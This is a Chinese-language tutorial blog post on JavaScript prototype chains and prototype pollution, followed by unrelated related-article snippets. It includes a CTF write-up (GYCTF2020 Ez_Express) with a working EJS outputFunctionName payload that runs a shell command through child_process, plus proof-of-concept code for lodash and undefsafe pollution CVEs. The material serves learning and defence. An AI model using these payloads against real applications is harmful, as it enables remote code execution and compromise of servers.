当前位置: 首页 > news >正文

js原型链污染

JavaScript 是一门非常灵活的语言,与 PHP 相比起来更加灵活。除了传统的 SQL 注入、代码执行等注入型漏洞外,也会有一些独有的安全问题,比如今天要说这个原型链污染。本篇文章就让我们来学习一下 NodeJS 原型链与原型链污染的原理。

什么是原型链(Prototype Chain)?

在 JavaScript 里,对象是可以继承其他对象的属性和方法的,这种继承就是通过“原型(prototype)”实现的

每个对象都有一个隐藏属性 [[Prototype]](可以通过 __proto__ 访问),它指向另一个对象,这个被指向的对象就是“原型对象——prototype“。

这些原型对象也可以有自己的原型——__proto__,层层向上直到一个对象的原型对象为null,于是就形成了一个“链条”结构~这条链子就叫做 原型链(Prototype Chain)

举个栗子喵:

let obj = {name: "ALe"
};console.log(obj.toString()); // 虽然没写这个方法,但可以调用!// 因为 obj -> Object.prototype -> 原型链上找到了 toString 方法

💡 这里的过程是这样的:

obj↓
Object.prototype↓
null(原型链的尽头)

一个更形象的例子:

function Cat() {}
Cat.prototype.sayHi = function () {console.log("喵~");
};let migu = new Cat();
migu.sayHi(); // 喵~

migu 自己没有 sayHi 方法,但它可以通过原型链从 Cat.prototype 那里找到并使用它!

原型链长什么样喵?

migu --> Cat.prototype --> Object.prototype --> null

a.__proto__ 是与 A.prototype 等价的,而 A.prototype.__proto__ 是指向 Object.prototype 的,再往下 Object.prototype.__proto__ 指向 null,这就是 JavaScript 中的原型继承链,所有类对象在实例化的时候将会拥有 prototype 中的属性和方法,这个特性被用来实现 JavaScript 中的继承机制。

我们可以通过以下方式访问得到某一实例对象的原型对象:

objectname.[[prototype]]
objectname.prototype
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

JavaScript 对象是动态的属性“包”(指其自己的属性)。JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。

https://xz.aliyun.com/news/9482关于原型链更复杂的东西可以在这里面学

什么是原型链污染?

在 JavaScript 里,每个对象都会通过 __proto__(或者 Object.prototype)连接到它的原型链上。当我们访问一个对象的属性时,如果这个属性不存在,就会沿着原型链去找。

原型链污染 就是指攻击者可以通过修改对象的原型链(Object.prototype),给所有对象添加恶意属性或方法。这可能会影响整个应用程序的行为,甚至造成严重的安全漏洞

在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致dos攻击、篡改程序执行流程、RCE等漏洞。
原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。

举个简单例子喵:

let obj = {};
console.log(obj.hack); // undefined// 模拟污染
let payload = JSON.parse('{"__proto__": {"hack": "you are hacked"}}');
Object.assign({}, payload);console.log(obj.hack); // you are hacked

在这个例子中:

  • 我们用 JSON.parse 模拟从外部传入的数据。
  • __proto__ 的值设置为了一个对象,其中含有一个叫 "hack" 的属性。
  • 然后用 Object.assign 把这个污染对象合并到一个新对象里。
  • 最终污染了整个 Object.prototype所有对象都能访问到 hack 属性

Merge 类操作导致原型链污染

Merge 类操作是最常见可能控制键名的操作,也最能被原型链攻击。

我们平时开发时常常需要把多个对象合并起来,比如配置项:

、const defaultConfig = { theme: "light" };
const userConfig = { theme: "dark", lang: "zh" };const config = Object.assign({}, defaultConfig, userConfig);

合并后配置就是 { theme: "dark", lang: "zh" },但问题来了——如果你使用的是递归合并(deep merge),就容易中招

为什么 Merge 操作容易被污染?

深度合并时,我们会把嵌套对象一个一个递归进去:

function deepMerge(target, source) {for (let key in source) {if (typeof source[key] === "object" &&source[key] !== null &&typeof target[key] === "object") {deepMerge(target[key], source[key]);} else {target[key] = source[key];}}
}

如果攻击者传入的是:

{"__proto__": {"isAdmin": true}
}

那在 merge 的过程中就会执行:

target["__proto__"] = { isAdmin: true };

然后你就污染了整个 Object.prototype

例如:

[GYCTF2020]Ez_Express

www.zip下载源码

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;const merge = (a, b) => {    // 发现 merge 危险操作for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
const clone = (a) => {return merge({}, a);
}
function safeKeyword(keyword) {if(keyword.match(/(admin)/is)) {return keyword}return undefined
}router.get('/', function (req, res) {if(!req.session.user){res.redirect('/login');}res.outputFunctionName=undefined;res.render('index',data={'user':req.session.user.user});
});router.get('/login', function (req, res) {res.render('login');
});router.post('/login', function (req, res) {if(req.body.Submit=="register"){if(safeKeyword(req.body.userid)){res.end("<script>alert('forbid word');history.go(-1);</script>") }req.session.user={'user':req.body.userid.toUpperCase(),    // 变成大写'passwd': req.body.pwd,'isLogin':false}res.redirect('/'); }else if(req.body.Submit=="login"){if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){req.session.user.isLogin=true;}else{res.end("<script>alert('error passwd');history.go(-1);</script>")}}res.redirect('/');
});
router.post('/action', function (req, res) {    // /action 路由只能 admin 用户访问if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body);    // 使用了之前定义的 merge 危险操作res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

/route/index.js中用了merge()clone()需要admin账号才能用到clone()

可以看到验证了注册的用户名不能为admin(大小写),不过有个地方可以注意到

'user':req.body.userid.toUpperCase(),

这里将user给转为大写了,这种转编码的通常都很容易出问题

Fuzz中的javascript大小写特性 | 离别歌

注册admın让我们输入自己最喜欢的语言,这里我们就可以发送 Payload 进行原型链污染了:

{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}

然后访问info路由就可以得到flag

payload原理
  1. req.body 中含有 __proto__
{"__proto__": {"outputFunctionName": "..." // 恶意代码}
}
  1. 进入 merge() 后,会变成:
Object.prototype.outputFunctionName = "..."
  1. //info 路由中,有这么一句代码:
res.outputFunctionName = undefined;

你可能会以为这设置了一个空值,但其实并不会阻止调用这个字段

因为 Express 用的是 res.render(view, locals),它内部可能会调用 res.outputFunctionName()作为模板渲染钩子,特别是在使用像 ejspug 之类的模板引擎时。

所以:

res.render('index', data={ user: req.session.user.user })

时,可能会调用这个 outputFunctionName 字段。

一旦这个字段被设置成了一个函数或表达式字符串,比如:

js复制编辑
Object.prototype.outputFunctionName = "t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()"

在某些模板引擎(例如旧版 ejs)中会被当作要执行的代码,从而执行 RCE

global.process.mainModule.constructor._load("child_process").execSync("cat /flag").toString()

这个就是最经典的 Node.js 沙箱逃逸技巧,可以执行任意命令!

比如这条命令就会读取 /flag 文件的内容

Lodash 模块原型链污染

什么是 Lodash?

Lodash 是 JavaScript 的一个非常流行的工具库,常用于:

  • 深拷贝对象(_.merge()
  • 默认合并值(_.defaults() / _.defaultsDeep()
  • 各种数组、对象处理便利函数

非常多的后端和前端项目中都会用到 Lodash

————————————————————————————————————

对下面这些我都只是一知半解只会用poc的程度,具体原理可以看https://xz.aliyun.com/news/9482

lodash.defaultsDeep 方法造成的原型链污染(CVE-2019-10744)

2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。

Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'function check() {mergeFn({}, JSON.parse(payload));if (({})[`a0`] === true) {console.log(`Vulnerable to Prototype Pollution via ${payload}`);}}check();
lodash.merge 方法造成的原型链污染

Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象,以创建父映射对象:

merge(object, sources)

当两个键相同时,生成的对象将具有最右边的键的值。如果多个对象相同,则新生成的对象将只有一个与这些对象相对应的键和值。但是这里的 lodash.merge 操作实际上存在原型链污染漏洞

验证漏洞的 POC:

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL 属性,即给所有 Object 对象中都插入一个 sourceURL 属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞

lodash.mergeWith 方法造成的原型链污染

这个方法类似于 merge 方法。但是它还会接受一个 customizer,以决定如何进行合并。 如果 customizer 返回 undefined 将会由合并处理方法代替。

mergeWith(object, sources, [customizer])

该方法与 merge 方法一样存在原型链污染漏洞,下面给出一个验证漏洞的 POC:

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
lodash.set 方法造成的原型链污染

Lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。

set(object, path, value)
  • 示例:
var object = { 'a': [{ 'b': { 'c': 3 } }] };_.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4_.set(object, 'x[0].y.z', 5);
console.log(object.x[0].y.z);
// => 5

在使用 Lodash.set 方法时,如果没有对传入的参数进行过滤,则可能会造成原型链污染。下面给出一个验证漏洞的 POC:

var lodash= require('lodash');var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
lodash.setWith 方法造成的原型链污染

Lodash.setWith 方法类似 set 方法。但是它还会接受一个 customizer,用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。

setWith(object, path, value, [customizer])

该方法与 set 方法一样可以进行原型链污染,下面给出一个验证漏洞的 POC:

var lodash= require('lodash');var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

Undefsafe 模块原型链污染(CVE-2019-10795)

Undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞,攻击者可利用该漏洞添加或修改 Object.prototype 属性。

undefsafe() 在设置路径时,没有阻止你写入特殊字段如:

__proto__
constructor
prototype

于是你可以这样操作:

undefsafe({}, '__proto__.polluted', '💣');
console.log({}.polluted); // 💣

这就造成了原型链污染漏洞, 和 Lodash 的 merge 漏洞本质一样

相关文章:

js原型链污染

JavaScript 是一门非常灵活的语言&#xff0c;与 PHP 相比起来更加灵活。除了传统的 SQL 注入、代码执行等注入型漏洞外&#xff0c;也会有一些独有的安全问题&#xff0c;比如今天要说这个原型链污染。本篇文章就让我们来学习一下 NodeJS 原型链与原型链污染的原理。 什么是原…...

【HDFS入门】HDFS核心组件Failover Controller:高可用保障机制解析

目录 1 Failover Controller的角色职责 2 Failover Controller的运行原理 2.1 核心组件依赖 2.2 高可用架构图 3 故障转移机制详解 3.1 正常状态下的工作流程 3.2 故障触发切换流程 4 关键机制与技术挑战 4.1 防止脑裂&#xff08;Fencing&#xff09; 4.2 元数据同步 4.3 ZKFC…...

A008-Web 功能测试 – 咪咕音乐UI自动化,selenium

测试网址&#xff1a; https://music.migu.cn/v3 注 1&#xff1a;请设置足够的睡眠时间&#xff0c;保证网页顺利打开 注2&#xff1a;打开页面过程中&#xff0c; 网站可能有弹窗、验证信息&#xff0c;如果有&#xff0c;请手动关闭或重新运行代码&#xff0c; 保证后续流…...

Go:使用共享变量实现并发

竞态 在串行程序中&#xff0c;步骤执行顺序由程序逻辑决定&#xff1b;而在有多个 goroutine 的并发程序中&#xff0c;不同 goroutine 的事件先后顺序不确定&#xff0c;若无法确定两个事件先后&#xff0c;它们就是并发的。若一个函数在并发调用时能正确工作&#xff0c;称…...

私域流量运营:如何高效处理海量社群订单?

电商行业进入存量竞争时代&#xff0c;私域流量正悄然改写商业规则。这个被企业主们频频提及的概念&#xff0c;本质上是在构建自主可控的用户资产池——就像知名茶饮品牌「喜茶」通过会员系统沉淀3000万粉丝&#xff0c;实现复购率提升35%的数字化转型。当企业微信对话框、社群…...

【TI MSPM0】ADC进阶学习

一、学习内容 二、ADC配置讲解 转换时钟来源于本地的80mhz的振荡器&#xff0c;使得高速的12bits的转换可以达到4mhz的采样率 ADC转换过程分两个步骤&#xff0c;一是采样&#xff0c;二是转换 因此&#xff0c;配置中的是采样时钟 真正决定采样速率的是conversion clock 决定…...

一文读懂WPF系列之MVVM

WPF MVVM 什么是MVVMWPF为何使用MVVM机制WPFMVVM 的实现手段 INotifyPropertyChanged​数据绑定的源端通知​​原理 PropertyChanged事件双向绑定的完整条件常见疑惑问题 什么是MVVM 翻译全称就是 model-view-viewmodel 3部分内容 以wpf的概念角度来解释就是 数据库数据源模型…...

WPF静态资源StaticResource和动态资源DynamicResource有什么区别,x:Static又是什么意思?

什么叫WPF的资源(Resource) 资源是保存在可执行文件中的一种不可执行数据。WPF中资源用ResourceDictionary类表示&#xff0c;这个类就是一个字典&#xff0c;字典的key和value都是object类型。所以在WPF中&#xff0c;资源可以可以是图像、字符串等所有的任意CLR对象&#xf…...

vue3环境搭建、nodejs22.x安装、yarn 1全局安装、npm切换yarn 1、yarn 1 切换npm

vue3环境搭建 node.js 安装 验证nodejs是否安装成功 # 检测node.js 是否安装成功----cmd命令提示符中执行 node -v npm -v 设置全局安装包保存路径、全局装包缓存路径 在node.js 安装路径下 创建 node_global 和 node_cache # 设置npm全局安装包保存路径&#xff08;新版本…...

配置HADOOP_HOME环境变量和maven_HOME环境变量

1.右击此电脑&#xff0c;选择“属性” 2.选择“高级系统配置” 3.选择“环境变量” 4.在“系统变量”下新建两个系统变量 注意&#xff1a;变量值要“浏览目录”选择你存放hadoop的文件和maven的文件 5.在“系统变量”里双击Path”&#xff0c;在里面新建两个变量...

计算机网络:实验五路由器的应用

实验五路由器的应用 1.1实验目的 掌握路由器的应用&#xff1b;熟悉路由器的基本配置方法。 1.2实验要求 学生提前准备好实验报告&#xff0c;预习并熟悉实验步骤&#xff1b;遵守实验室纪律&#xff0c;在规定的时冋内完成要求的内容。 1.3 实验内容与步骤 1、假设企业网…...

【正点原子STM32MP257连载】第四章 ATK-DLMP257B功能测试——RS232接口测试

1&#xff09;实验平台&#xff1a;正点原子ATK-DLMP257B开发板 2&#xff09;浏览产品&#xff1a;www.alientek.com 3&#xff09;全套实验源码手册视频下载&#xff1a;正点原子资料下载中心 文章目录 第四章 ATK-DLMP257B功能测试——RS232接口测试 第四章 ATK-DLMP257B功能…...

考研单词笔记 2025.04.15

addition n添加&#xff0c;增加&#xff0c;加法 additional a附加的&#xff0c;额外的 in addition 另外&#xff1b;除此之外&#xff1b;加之 augment v增加&#xff0c;增强&#xff0c;提高 explode v急剧增长&#xff0c;爆炸&#xff0c;爆发&#xff0c;迸发 gr…...

zkmall模块商城:B2C 场景下 Vue3 前端性能优化的广度探索与实践

ZKmall作为面向B2C场景的模块化电商平台&#xff0c;其前端性能优化在Vue3框架下的实践融合了架构设计、渲染机制与业务特性&#xff0c;形成了一套多维度的优化体系。以下从技术实现与业务适配两个维度展开分析&#xff1a; 一、Vue3响应式系统深度适配 ​Proxy驱动的精准更新…...

WebSocket 技术详解

引言 在现代Web应用中&#xff0c;实时通信已经成为不可或缺的一部分。想象一下聊天应用、在线游戏、股票交易平台或协作工具&#xff0c;这些应用都需要服务器能够即时将更新推送给客户端&#xff0c;而不仅仅是等待客户端请求。WebSocket技术应运而生&#xff0c;它提供了一…...

微服务即时通信系统---(四)框架学习

目录 ElasticSearch 介绍 安装 安装kibana ES客户端安装 头文件包含和编译时链接库 ES核心概念 索引(Index) 类型(Type) 字段(Field) 映射(mapping) 文档(document) ES对比MySQL Kibana访问ES测试 创建索引库 新增数据 查看并搜索数据 删除索引 ES…...

日常记录-CentOS 9安装java17

文章目录 前言一、手动安装 Oracle JDK 17 或 OpenJDK 17&#xff08;适合自定义路径&#xff09;二、使用 CentOS 9 系统包安装 OpenJDK 17&#xff08;简单稳定&#xff09;三、使用 SDKMAN&#xff08;管理多个版本&#xff09;总结 前言 CentOS 9安装java17 一、手动安装 …...

Python 导出 PDF(ReportLab )

文章目录 1. ReportLab 使用1.1. 安装 ReportLab1.2. 创建 PDF 文件1.3. 使用文档模板 DocTemplate1.4. 使用页面模板 PageTemplate1.5. 继承 BaseDocTemplate1.6. 使用 SimpleDocTemplate1.7. 继承Canvas1.8. 直接使用Canvas 2. 字体与编码3. PLATYPUS - 页面布局和排版3.1. 设…...

私域运营的底层逻辑:从流量到留存的进阶之路

私域流量已成为企业营销的新战场&#xff0c;但盲目跟风只会事倍功半。 接下来&#xff0c;我将深入剖析私域运营的底层逻辑&#xff0c;从几个关键环节&#xff0c;助你构建高效稳定的私域体系。 一、价值优先&#xff1a;以用户需求为核心 私域运营并非简单的粉丝积累&…...

【数据结构 · 初阶】- 带头双向循环链表

目录 1.尾插 2.初始化 3.尾删、头插、头删 4.查找&#xff0c;返回 pos 指针 5.pos 前插入 优化头插&#xff0c;直接复用 优化尾插&#xff0c;直接复用 6.pos 位删除 头删尾删简化 7.销毁 整体代码 List.h List.c Test.c 循环&#xff1a;1.尾 next 指向哨兵位…...

Cube IDE常用快捷键

STM32CubeIDE常用快捷键 STM32CubeIDE快捷键很多&#xff0c;可以通过 Help > Show Active Keybindings… 查看当前可用快捷键&#xff1b;也可以在 Window > Preferences > General > Keys 中查看修改快捷键 快捷键快捷键说明Ctrl/注释行/取消注释行CtrlD删除行…...

C++开发中的DUMP文件:解决崩溃与性能问题的利器(全文字数2w+)

[外链图片转存中…(img-mf6LznjF-1744717065188)] 文章目录 前言为什么需要了解DUMPDUMP在C开发中的重要性 一、DUMP基础概念1. 什么是DUMP文件2. DUMP文件的类型3. DUMP文件的作用&#xff08;1&#xff09;调试程序崩溃&#xff08;2&#xff09;分析程序性能&#xff08;3&a…...

Golang|接口并发测试和压力测试

文章目录 这里出现某些奖品和数据库中库存量不一致的问题原因就是在并发的情况下&#xff0c;sync.Map仍然会出现脏写问题&#xff0c;就是在同时操作下的操作覆盖问题可以先把数据放到channel里&#xff0c;然后用一个单一的协程负责读取channel并写入map...

解决 Maven 500 错误:无法传输 maven-metadata.xml 文件

在使用 Maven 构建和管理 Java 项目时&#xff0c;可能会遇到类似以下的错误信息&#xff1a; [WARNING] Could not transfer metadata com.ha:xxx-model:2025.0.1.SNAPSHOT/maven-metadata.xml from/to public (http://xxx.xx.xx.xx/repository/maven-public): status code: …...

鸿蒙应用开发—鸿蒙app一键安装脚本

背景 当鸿蒙App开发完后需要提测&#xff0c;如何将App文件发给QA安装测试&#xff0c;是一件麻烦事&#xff0c;因为鸿蒙App并不能像Android Apk那样可以直接安装到设备中&#xff0c;能想到的方式有&#xff1a; 直接叫测试拿手机过来安装让测试安装DevEco Studio 拉代码编…...

opencv二值化实验

二值化实验 1二值化说明2 阈值法&#xff08;THRESH_BINARY&#xff09;3.反阈值法&#xff08;THRESH_BINARY_INV&#xff09;4截断阈值法&#xff08;THRESH_TRUNC&#xff09;5 低阈值零处理&#xff08;THRESH_TOZERO&#xff09;6 超阈值零处理&#xff08;THRESH_TOZERO_…...

3DGS之渲染管线

渲染管线&#xff08;Rendering Pipeline&#xff09;是计算机图形学中将三维场景转换为二维屏幕图像的核心流程&#xff0c;涉及CPU与GPU的分工协作。计算机图形学把渲染管线分为三个阶段&#xff1a;应用程序阶段、几何阶段、光栅化阶段。渲染管线的一般流程是&#xff1a;顶…...

C#设计模式-状态模式

状态模式案例解析&#xff1a;三态循环灯的实现 案例概述 本案例使用 状态模式&#xff08;State Pattern&#xff09; 实现了一个 三态循环灯 的功能。每点击一次按钮&#xff0c;灯的状态会按顺序切换&#xff08;状态1 → 状态2 → 状态3 → 状态1...&#xff09;&#xff…...

泛微相关文档以及相关安装包下载

泛微相关文档以及相关安装包下载 泛微相关安装包下载泛微相关安装包下载 泛微E10登录网址:https://www.e-cology.com.cn/login?service=https%3A%2F%2Fwww.e-cology.com.cn%2F Ecode使用说明:https://e-cloudstore.com/doc.html 泛微组件库:https://cloudstore.e-cology…...

软件包安装管理Gitlab

官方提供了非常详尽的系统及自动化脚本安装教程 Gitlab官网下载地址&#xff1a;https://gitlab.cn/install/ 1、安装配置 今天我们说一下包安装管理&#xff0c;这样方便我们自己更精确的制定符合我们自己需要的Gitlab仓库 配置&#xff1a;ubuntu2004(focal) 4C8G 下载程…...

在Java使用rest Client操作ES

1. 导入restClient依赖 <dependency><groupId>org.elasticsearch.client</groupId><artifactId>elasticsearch-rest-high-level-client</artifactId><version>7.12.1</version></dependency> 2. 了解ES核心客户端API 核心区别…...

深入解析Linux软件包管理:apt/yum源配置与Vim编辑器高效使用指南

一、Linux软件包管理与开发工具 1.软件包管理器与Linux软件生态 软件包管理器的作用与分类 什么是软件包&#xff1f; 在Linux下安装软件&#xff0c;一个通常的办法是下载到程序的源代码&#xff0c;并进行编译&#xff0c;得到可执行程序。但是这样太麻烦了&#xff0c;于…...

小程序css实现容器内 数据滚动 无缝衔接 点击暂停

<view class"gundongBox"><!-- 滚动展示信息的模块 --><image class"imgWid" :src"imgurlgundong.png" mode"widthFix"></image><view class"gundongView"><view class"container&qu…...

记录 | Pycharm中如何调用Anaconda的虚拟环境

目录 前言一、步骤Step1 查看anaconda 环境名Step2 Python项目编译器更改 更新时间 前言 参考文章&#xff1a; 参考视频&#xff1a;如何在pycharm中使用Anaconda创建的python环境 自己的感想 这里使用的Pycharm 2024专业版的。我所使用的Pycharm专业版位置&#xff1a;【仅用…...

静态站点生成

以下是关于 静态站点生成(SSG) 的系统知识梳理,涵盖核心概念、核心实现、数据管理与优化等内容: 一、核心概念与优势 定义 静态站点生成(SSG)是在构建阶段预生成所有静态HTML文件的技术,用户访问时直接获取预渲染内容,无需服务器动态生成。 核心优势 性能卓越:CDN缓存…...

Android Jni(二)加载调用第三方 so 库

文章目录 Android Jni&#xff08;二&#xff09;加载调用第三方 so 库前置知识CPU架构 ABI 基本步骤1、将第三方 SO 库文件放入项目中的正确位置&#xff1a;2. 创建 JNI 接口3. 实现 JNI 层代码4、配置 CMake 常见问题解决1、UnsatisfiedLinkError&#xff1a;2、函数找不到&…...

解锁元生代:ComfyUI工作流与云原生后端的深度融合

目录 蓝耘元生代&#xff1a;智算新势力崛起​ ComfyUI 工作流创建详解​ ComfyUI 初印象​ 蓝耘平台上搭建 ComfyUI 工作流​ 构建基础工作流实操​ 代码示例与原理剖析​ 云原生后端技术全景 云原生后端概念解析​ 核心技术深度解读​ 蓝耘元生代中两者的紧密联系​…...

LeetCode算法题(Go语言实现)_47

题目 给你一个 m x n 的迷宫矩阵 maze &#xff08;下标从 0 开始&#xff09;&#xff0c;矩阵中有空格子&#xff08;用 ‘.’ 表示&#xff09;和墙&#xff08;用 ‘’ 表示&#xff09;。同时给你迷宫的入口 entrance &#xff0c;用 entrance [entrancerow, entrancecol…...

树莓派_利用Ubuntu搭建gitlab

树莓派_利用Ubuntu搭建gitlab 一、给树莓派3A搭建基本系统 1、下载系统镜像 https://cdimage.ubuntu.com/ubuntu/releases/18.04/release/ 2、准备系统SD卡 二、给树莓派设备联网 1、串口后台登录 使用串口登录后台是最便捷的&#xff0c;因为前期网络可能不好直接成功 默…...

vi(vim)编辑器和root用户与普通用户之间的转换

vim编辑器是vi编辑器的加强版&#xff0c;以vi为例&#xff1a; vi编辑器&#xff1a; vi编辑器可以编辑文件内容 如何进入vi编辑器&#xff1f; 语法&#xff1a; vi 文件路径 如何退出&#xff1f; 语法&#xff1a; wq&#xff1a;保存退出 w&#xff1a;保存 q&…...

【vscode】vscode链接关联github/gitlab

一、windows下载安装git Git - Downloading Package 二、配置Git的用户名和邮箱 Git Bash运行以下命令来配置Git的用户名和邮箱&#xff1a; git config --global user.name "你的用户名" git config --global user.email "你的邮箱地址" 生成本机秘钥…...

Redis面试问题缓存相关详解

Redis面试问题缓存相关详解 一、缓存三兄弟&#xff08;穿透、击穿、雪崩&#xff09; 1. 穿透 问题描述&#xff1a; 缓存穿透是指查询一个数据库中不存在的数据&#xff0c;由于缓存不会保存这样的数据&#xff0c;每次都会穿透到数据库&#xff0c;导致数据库压力增大。例…...

Web三漏洞学习(其一:文件上传漏洞)

靶场:云曦历年考核题 一、文件上传 在此之前先准备一个一句话木马 将其命名为muma.txt 23年秋期末考 来给师兄上个马 打开环境以后直接上传muma.txt&#xff0c;出现js弹窗&#xff0c;说明有前端验证 提示只能上传.png .jpg 和 .gif文件&#xff0c;那就把muma.txt的后缀…...

冲刺高分!挑战7天一篇nhanes机器学习SCI!DAY1-7

医学生集合啦&#xff0c;继续挑战 7天一篇nhanes机器学习SCI&#xff01; Day 1 进展&#xff1a;确定选题、期刊、文献 前面挑战了一期NHANES机器学习&#xff0c;大家使用NHANES的发文章的热情&#xff0c;火爆程度远超想象&#xff01;我在下面的评论区看到大家的学习欲…...

高并发三剑客-本地缓存之王Caffeine-01缓存应用

1 分布式缓存使用及导致的问题 1.1 hotkey典型业务场景 常规性hotkey&#xff1a;可以提前评估出hotkey的场景&#xff0c;比如&#xff1a;重要节假日、促销活动等 突发性hotkey&#xff1a;没法提前评估&#xff0c;突发性行为&#xff0c;比如&#xff1a;突然新闻、爆炸信息…...

基于Java,SpringBoot,Vue,HTML家政服务预约系统设计

摘要 本文聚焦于基于Java、SpringBoot、Vue和HTML技术的家政服务预约系统的设计与实现。该系统旨在为家政服务的供需双方搭建一个便捷、高效的在线交互平台。后端采用Java语言结合SpringBoot框架&#xff0c;充分利用SpringBoot的自动配置和快速开发特性&#xff0c;实现系统业…...

系统架构设计师:系统架构概述知识体系、考点详解、高效记忆要点、练习题并提供答案与解析

一、系统架构概述知识体系、考点详解 系统架构概述、定义与作用 1. 系统架构的定义与核心要素 系统架构是复杂系统的高层次组织结构&#xff0c;包含硬件/软件组件、交互关系、设计原则及演进策略。其核心要素包括&#xff1a; 构件与模式&#xff1a;现代架构三要素为构件…...

汽配快车道解决chrome backgroud.js(Service Worker) XMLHttpRequest is not defined问题

Chrome 扩展开发&#xff1a;Service Worker 中如何优雅地发送 HTTP 请求 在 Chrome 扩展开发中&#xff0c;Service Worker 是一个非常重要的部分&#xff0c;它可以帮助我们实现很多强大的功能。然而&#xff0c;如果你在 Service Worker 中尝试使用 XMLHttpRequest 来发送 …...

VMware Ubuntu挂载Windows机器的共享文件

https://www.dong-blog.fun/post/2029 在VMware Ubuntu中访问Windows共享文件夹&#xff1a;完整指南 在使用VMware运行Ubuntu虚拟机时&#xff0c;访问Windows主机上的文件是常见需求。本文将详细介绍如何通过网络共享方式&#xff0c;让Ubuntu虚拟机直接访问Windows主机的文…...

LeNet神经网络

一、LeNet概述 1. 历史地位 开创性模型&#xff1a;首个成功应用的卷积神经网络&#xff08;1998年&#xff09;应用场景&#xff1a;手写数字识别&#xff08;MNIST数据集&#xff09;、银行支票识别提出者&#xff1a;Yann LeCun团队&#xff08;论文《Gradient-Based Lear…...